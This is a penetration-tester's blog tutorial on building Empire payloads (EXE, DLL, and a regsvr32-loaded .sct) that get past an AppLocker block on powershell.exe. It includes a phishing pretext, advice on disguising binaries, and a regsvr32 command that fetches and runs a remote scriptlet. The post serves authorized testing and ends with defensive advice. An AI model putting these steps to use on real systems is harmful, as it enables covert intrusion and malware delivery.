The client has blocked Powershell.exe using AppLocker and I don’t have the dough for Cobalt Strike. I want to get an Empire payload on a workstation via a phishing campaign and I need payloads ready once I have a foothold. Nearly all of the launcher methods for Empire rely on the ability to use PowerShell.exe. Other methods like msbuild.exe requires dropping a file to disk, and I really liked the regsvr32 method of loading my .sct over the internet (it too drops a file to disk) and using a ducky. I also really appreciate the simplicity of VBA’s in documents or HTA’s. Problem is, Empire is a Powershell RAT so one way or another PowerShell has to run.
One method that was suggested is calling an Empire.dll or Empire.exe over an internet accessible SMB share. I have yet to try that method but have been assured it works. My dislike for the SMB method is the outbound SMB connection, which will look pretty unusual to any defenders watching traffic. I’ll have to give it a go at some point, I’m sure.
The three payloads I’m going cover:
- Build an empire.exe
- Build an empire.dll
- Build an empire.sct that doesn’t call powershell.exe
The tools and resources we’re going to use are:
- SharpPick codebase by @sixdub
- DotNetToJS by James Foreshaw (@tiraniddo)
- AllTheThings by Casey Smith (@subtee)
- Visual Studio. Not strictly necessary, but it’s what I know and it’s free albiet a huge download. Presumably you could use csc.exe to build your project, but I haven’t tested it. I chose Visual Studio 2010 for PowerPick, though 2012 would probably work fine. That’s a lot of crap to download, I know. What’s nice about 2010/2012 is it comes with the older .NET libraries which are getting harder to find.
I wouldn’t be able to do this without the above authors’ work, and I’m very grateful. What follows is simply putting together a few different pieces of great work to achieve a specific outcome that I was unable to find prior work for.
*Note: In my research to do this, I came across two projects that are doing almost exactly the same thing, both of which utilize DotNetToJScript and neither of which worked for me.
- StarFighters (@Cn33liz). First, I’m pretty leery of running encoded binaries from the internet. This one contains an encoded powershell.exe, which receives and executes your launcher code. I tried it, and was able to get an Empire check-in, but not script execution.
- CACTUSTORCH (@vysecurity). I tried this as well, but it really wants to inject shellcode into a launched binary of your choosing, and I couldn’t figure out how to make my launcher into shellcode using SharpPick. It’s probably doable, I just don’t know how. The examples @vysecurity provide use a Cobalt Strike or a Meterpreter shellcode output.
Build an Empire.exe
I’ve commonly seen Cobalt Strike used with “updates.exe”, a stageless beacon. For Empire, you can do something similar with this method. Add this to an email pretext suggesting new anti-virus definitions need to be installed. Or run it via psexec or wmi, or as an embedded OLE object in Outlook (h/t @tyler_robinson).
This is probably the simplest method of getting you an agent without calling Powershell.exe.
To start, go get your copy of PowerPick via git, and open up the project in Visual Studio.
First, you’ll want to obfuscate some of the project properties. Change the name of the program and assembly information. Get there by selecting from the menu “project -> SharpPick Properties”. Make sure to change the “Output Type” to “Windows Application” so it’ll run in the background after you double click or execute from the CLI.
Click that “Assembly Information” button as well, and change those properties too.
Now you’ll want to change the code in Program.cs to this (gist):
Where the string “stager” contains only the base64 encoded Empire launcher information. This will get decoded and passed to RunPS() which sends the PowerShell command to System.Management.Automation, where the real PowerShell magic actually happens. This is tapping directly into the core of Windows.
Now go to your menu and select “Build -> Build Solution” or hit “F6”. Your shiny new binary should be in “PowerTools\Empire_SCT\PowerPick\bin\x86\Debug”.
** You may get an error about ReflectivePick not building, that’s fine. You can suppress that error by going to “Build -> Configuration Manager” and deselecting “ReflectivePick” from the “Project Contexts”. We don’t need it.
Test your binary by either double clicking the executable, or simply running it on the CLI. It should run in the background after you launch or execute it.
Build an Empire.dll
Maybe you need a DLL so you can use one of those sweet AppLocker bypasses Casey is always finding. A great example is rundll32.exe. In order to do this, we’re going to change our project a little bit, and add some entry points in our code. The code below comes directly from @subtee’s “AllTheThings”.
Just like the EXE, open up the project and change those indicators. The other important thing you need to change in the project properties is the “Output Type”, which needs to be “Class Library”. You should probably set your “Startup Object” as well, to whatever it defaults to in the drop down (based on you namespace and class names).
Next, install the nuget package manager for Visual Studio. Once that’s installed you’ll need to get the dependency “UnmanagedExports” by running:
PM> install-package UnmanagedExports
Next up, open that “Program.cs” and change your code to look like this in addition to a few “using” statements not shown but included in the gist:
Again, go to “Build -> Build Solution” or hit “F6” and you should have a LegitLibrary.dll or whatever in your build directory (same as above).
Test your new DLL by running:
That should return a new agent to your Empire C2. If you look in Process Explorer, you’ll see rundll32 as a new running process.
Build an Empire.sct
Build that and go find your binary, it should be an exe.
Next up, go download DotNetToJScript and open that project in Visual Studio, change it’s .NET target to “.NET version 3.5” (or 2.0) in project options and compile (build) it. Once it’s built, find the DotNetToJScript.exe and it’s companion NDesk.Options.dll and place those in the same place as your LegitScript.exe binary.
run the following (-c is the entry point, change to your chosen namespace.class):
.\DotNetToJScript.exe -c=LegitScript.Program -o=legitscript.js legitscript.exe
That should output a legitscript.js. DotNetToJScript outputs in a couple of other languages including VBA and VBScript for embedding in Office documents or what ever else you might need.
You can test it before proceeding to the next steps by running:
That should launch a new agent on your workstation in the background. It’ll be running as “wscript” in your process monitor.
If you’ve confirmed that as working, it’s time to wrap it into a .sct so we can call it with regsvr32.exe.
Place the entire contents of legitscript.js into the CDATA tag (picture below). You can get the XML format in Empire by using:
(Empire: usestager windows/launcher_sct
The settings don’t matter, but you can set them to your listener and make sure “OutFile” is set to null or “” no value as this will print the content to screen. If you’re getting the contents from Empire, strip everything out of the CDATA tag, and replace it with your legitscript.js.
Save that as 2legit.sct and test with:
regsvr32 /s /n /u /i:2legit.sct scrobj.dll
Which, again, should return a new agent. You can save that .sct to your web or file server and call it remotely replacing the “/i:” with “/i:https://example.com/2legit.sct”. This is an AppLocker bypass as regsvr32.exe is a Microsoft signed binary.
PowerShell is awesome, and attackers have been using it for years now. The best advice we’re giving to clients is to keep their environments locked down with PowerShell Constrained Mode, disable PowerShell v2, and upgrade PowerShell across the enterprise to the latest which supports Script Block Logging. It’s pretty difficult and almost unrealistic to keep PowerShell from executing in your environment, so at least know when and how it’s being used.
Thanks to @subtee for engaging with me on some ideas, @vysecurity for answering questions, and all the giants and project authors who have made this even possible.